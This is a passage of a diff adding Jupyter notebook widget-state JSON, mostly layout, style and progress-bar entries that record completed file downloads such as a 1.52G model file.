+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a7ee417191b0409aa23dd6d6a696da32": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a83a85e453ab4aff8e9c95389dfbcb2b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a9a6e1ad7ccc4254bef64aa3dd96a055": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "aaab926fd3094a0aa06bbba734ee1cc2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_89c4231360e54d5b88df6499d691dc69",
+            "max": 798293,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ab07c3621d754170beab6ee96342f1c5",
+            "value": 798293
+          }
+        },
+        "aab03d06ea014e9193c1a93f00f338bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c70a51913db4444c91322ae8fd957d83",
+            "max": 1786,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9c41ab118fd441e8b7880e1ae9db6f63",
+            "value": 1786
+          }
+        },
+        "ab07c3621d754170beab6ee96342f1c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "abd9411c99e74e428ba3ebb65ffed365": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_427f32740fd24613b857cb35f296e708",
+            "placeholder": "",
+            "style": "IPY_MODEL_9c7962f1be504e999d0381ef8a7f50b4",
+            "value": "Downloading: 100%"
+          }
+        },
+        "ac236caac966462a820274d645bda09d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ded0d3c386494210a2a1cee8868ff28a",
+            "placeholder": "",
+            "style": "IPY_MODEL_cfd7e14964f2462ebf976e5e104b7cf0",
+            "value": " 1.52G/1.52G [01:05<00:00, 43.2MB/s]"
+          }
+        },
+        "ac640696c32149c49b874c0a210ec95f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ae8c4297c8bf4bebb265871af9836a55",
+              "IPY_MODEL_260dfd7b8487495390923fe89089a7f5",
+              "IPY_MODEL_05e1b9bc07bb4582a6a9773f1c780b08"
+            ],
+            "layout": "IPY_MODEL_674320eb489145aaac546a1368f523a6"
+          }
+        },
+        "ad040fe4c6c84bdc830f4c784ee8e63b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ae16f8bdc41247538db7173e85afe444": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ae8c4297c8bf4bebb265871af9836a55": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0175ba05a1a247868bb72e083833b8cd",
+            "placeholder": "",
+            "style": "IPY_MODEL_d443cce19f4d4dfa85a00e7d97ec291d",
+            "value": "Downloading: 100%"
+          }
+        },
+        "af1b720dc9f24c318c433106357f01a6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4cac51dbac4c4281831eba5bfda9dabe",
+              "IPY_MODEL_1d324284e0fa429f9fa0b0aa5eadc616",
+              "IPY_MODEL_612808dcd7064061a9c8358b986f225c"
+            ],
+            "layout": "IPY_MODEL_9587feaa0ee44d2eba46b34eaa93e8a1"
+          }
+        },
+        "b09adc774e894f2fab5f72881985a04b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_74d7589e9bac4f0e9144f10be9b84926",
+            "placeholder": "",
+            "style": "IPY_MODEL_f44806865e174c1aa9afe39c235440dd",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b2331f427ac94a809a21732e9a8d8670": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d7e49ec0f2a48dd955dac133086cc26",
+            "placeholder": "",
+            "style": "IPY_MODEL_d4c044d2c96648d684d447df1830baf4",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b2921f5c71ae4c089d405b861bbf8329": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e93406e73e374ef1b2022154fd3fc42f",
+            "placeholder": "",
+            "style": "IPY_MODEL_1af7492be4f74b378a391b0e91100b80",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b2de980b184d449cb0d37bf86672ac74": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b3f2482c12b34af7819883a536fbcb02": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b5f36f62fd704cb9a448305458f27238": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d76d73d373c54f278101230e1e643e66",
+            "max": 791656,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e8f025177d2c4e4a97d982ae7c0d221c",
+            "value": 791656
+          }
+        },
+        "b5f39651a9d8485a8d56f6b04b49d12e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b6a0781e588e44fdb0c1c039d67565f9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d2a33245573244518decbc50aa18d4fd",
+            "placeholder": "",
+            "style": "IPY_MODEL_a20cddef0f084bb08495a01557b8ff93",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b7c0fece997647219a30119d742d3751": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b82612788b2347eb9c75035d9c93bc3a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b94893d2d6e34ec09eadda65582bb57f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b96583c353884a4e8f21bf92bdcd0088": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ba22c333c270494ab1a871b64cbf775f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ba63f63323334fe89d70bd7708ab2c39": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_80beaf6f0a5c42dab3796dbab8e3c2b8",
+            "placeholder": "",
+            "style": "IPY_MODEL_a83a85e453ab4aff8e9c95389dfbcb2b",
+            "value": " 3.74k/3.74k [00:00<00:00, 74.8kB/s]"
+          }
+        },
+        "ba6aad62b55a421a891c6a986dad7dac": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ba819fd5899b4e26915129c4d1ae323a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_61a7a19b4e7f4e02a138f6c82daccef3",
+            "max": 437985387,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_6bc4646173104ebb8cb45515673a709e",
+            "value": 437985387
+          }
+        },
+        "bb1e640a31364eacbe0da6c4ecffa2b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ba6aad62b55a421a891c6a986dad7dac",
+            "placeholder": "",
+            "style": "IPY_MODEL_5776ff420e874506b40b74b21b0232e3",
+            "value": "Downloading: 100%"
+          }
+        },
+        "bf15388cd7ae4ce898262e3324ab4924": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_90f16d88293b4968a59c5ce2f121038b",
+            "placeholder": "",
+            "style": "IPY_MODEL_4fb2bc4ce4e14fd78da1b3a128dfdba3",
+            "value": "Downloading: 100%"
+          }
+        },
+        "bf2122c4a29d44a9ac2f64c4b76c0f60": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bf3d1f5feccf46f7b0fe97d0b784a685": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c1698970dc0846ca854737c88304e36d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_3ceb4f5d14f548bfab70b1c9917b8010",
+              "IPY_MODEL_a139333e180747e1abdc3d4c4602c198",
+              "IPY_MODEL_73a0fdfb6ade4e1995a70237bfc7bc65"
+            ],
+            "layout": "IPY_MODEL_2a83fad0067443fca1757913d4de86fc"
+          }
+        },
+        "c1fea2bd80284249afee28ab79b0c925": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_291c99c7bf334e48ba6b237d14138f5b",
+            "max": 1373,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f5999a5609324760a880f30dc11f0616",
+            "value": 1373
+          }
+        },
+        "c244d51cfbaf4aa9a67fe32df1b40ef2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c3042320c0534701941f46d204f1693b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
